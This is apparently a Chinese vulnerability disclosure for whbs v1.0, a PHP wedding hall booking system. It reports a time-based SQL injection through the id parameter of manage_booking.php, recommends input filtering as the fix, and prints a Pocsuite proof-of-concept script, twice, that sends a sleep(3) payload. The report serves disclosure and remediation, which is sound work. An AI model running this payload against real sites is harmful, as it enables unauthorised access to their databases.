漏洞对象：

whbs v1.0存在SQL注入漏洞

## 漏洞复现过程

## 风险管理及规避

修复\whbs\admin\bookings\manage\_booking.php的bug，对GET方式传入的值进行安全过滤，以防止sql注入。

## 测试方法

直接对网站进行抓包，将GET中传入的id值改为sql的sleep语句，之后放回，发现经过3s传来响应，证明存在sql漏洞

## 测试中所用的工具

Burp Suite Professional 1.7.37

Sqlmap 1.5.2

## **漏洞复现结果**

## POC插件编写

#!/usr/bin/env python

# -\*- coding: utf-8 -\*-

from pocsuite.api.request import req

from pocsuite.api.poc import register,Output, POCBase

from pocsuite.thirdparty.guanxing import parse\_ip\_port, http\_packet, make\_verify\_url

import time

class TestPOC(POCBase):

vulID = ''''''

cveID = ''''''

cnvdID = ''''''

cnnvdID = ''''''

version = ''''''

author = ''''''

vulDate = ''''''

createDate = ''''''

updateDate = ''''''

name = ''''''

desc = ''''''

solution = ''''''

severity = ''''''

vulType = ''''''

taskType = ''''''

references = ['''''']

appName = ''''''

appVersion = ''''''

appPowerLink = ''''''

samples = ['']

install\_requires = ['''''']

def \_verify(self):

self.url,ip,port = parse\_ip\_port(self.target,80)

result = {}

headers = {

'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8'

}

path = "/whbs/admin/bookings/manage\_booking.php?id=(select+sleep(3))"

vul\_url = make\_verify\_url(self.url, path, mod=0) #生成完整路径

start=time.time()

print(start)

resp = req.get(vul\_url, headers = headers, verify = False, allow\_redirects = False, timeout = 10)

if resp.status\_code == 200 : #判断条件

end=time.time()

print(end)

result['VerifyInfo'] = http\_packet(resp)

result['VerifyInfo']['URL'] = vul\_url

result['VerifyInfo']['port'] = port

return self.parse\_output(result)

def \_attack(self):

return self.\_verify()

def parse\_output(self, result):

#parse output

output = Output(self)

if result:

output.success(result)

else:

output.fail('Failed')

return output

register(TestPOC)

**漏洞信息**

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **UVD-ID** |  | **漏洞类别** |  | **CVE-ID** |  |
| **披露/发现时间** | 2022-07-19 | **bugtraq编号** |  | **CNNVD-ID：** |  |
| **提交时间** | 2022-07-19 16:18:23 | **漏洞发现者** |  | **CNVD-ID：** |  |
| **漏洞等级** | 高危 | **提交者** | NK-11-XMH | **搜索关键词** |  |
| **影响范围** | --/ --/ v1.0 | | | | |
| **来源** | [https://www.sourcecodester.com/php/15154/wedding-hall-booking-system-phpoop-free-source-code.html](https://www.sourcecodester.com/php/15154/wedding-hall-booking-system-phpoop-free-source-code.html" \t "https://poc.shuziguanxing.com/" \l "/_blank) | | | | |
| **漏洞简介** | whbs v1.0存在SQL注入漏洞，网站通过GET方式获取id，然后将值拼接到数据库查询语句中查询，在拼接前没有对GET方式传入的值进行安全过滤，导致恶意用户可以输入任意的数据库查询语句，造成sql注入。 | | | | |
| **漏洞详情** | 图形用户界面, 文本, 应用程序  描述已自动生成  此文件中画框处，未对GET方式传入的值进行安全过滤，会导致SQL注入 | | | | |
| **参考链接** |  | | | | |
| **靶场信息** |  | | | | |
| **POC** | #!/usr/bin/env python  # -\*- coding: utf-8 -\*-  from pocsuite.api.request import req  from pocsuite.api.poc import register,Output, POCBase  from pocsuite.thirdparty.guanxing import parse\_ip\_port, http\_packet, make\_verify\_url  import time  class TestPOC(POCBase):  vulID = ''''''  cveID = ''''''  cnvdID = ''''''  cnnvdID = ''''''  version = ''''''  author = ''''''  vulDate = ''''''  createDate = ''''''  updateDate = ''''''  name = ''''''  desc = ''''''  solution = ''''''  severity = ''''''  vulType = ''''''  taskType = ''''''  references = ['''''']  appName = ''''''  appVersion = ''''''  appPowerLink = ''''''  samples = ['']  install\_requires = ['''''']  def \_verify(self):  self.url,ip,port = parse\_ip\_port(self.target,80)  result = {}  headers = {  'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8'  }  path = "/whbs/admin/bookings/manage\_booking.php?id=(select+sleep(3))"  vul\_url = make\_verify\_url(self.url, path, mod=0) #生成完整路径  start=time.time()  print(start)  resp = req.get(vul\_url, headers = headers, verify = False, allow\_redirects = False, timeout = 10)  if resp.status\_code == 200 : #判断条件  end=time.time()  print(end)  result['VerifyInfo'] = http\_packet(resp)  result['VerifyInfo']['URL'] = vul\_url  result['VerifyInfo']['port'] = port  return self.parse\_output(result)  def \_attack(self):  return self.\_verify()  def parse\_output(self, result):  #parse output  output = Output(self)  if result:  output.success(result)  else:  output.fail('Failed')  return output  register(TestPOC) | | | | |
| **修复方案** | 在\whbs\admin\bookings\manage\_booking.php文件中，对GET方式传入的id值，进行安全过滤 | | | | |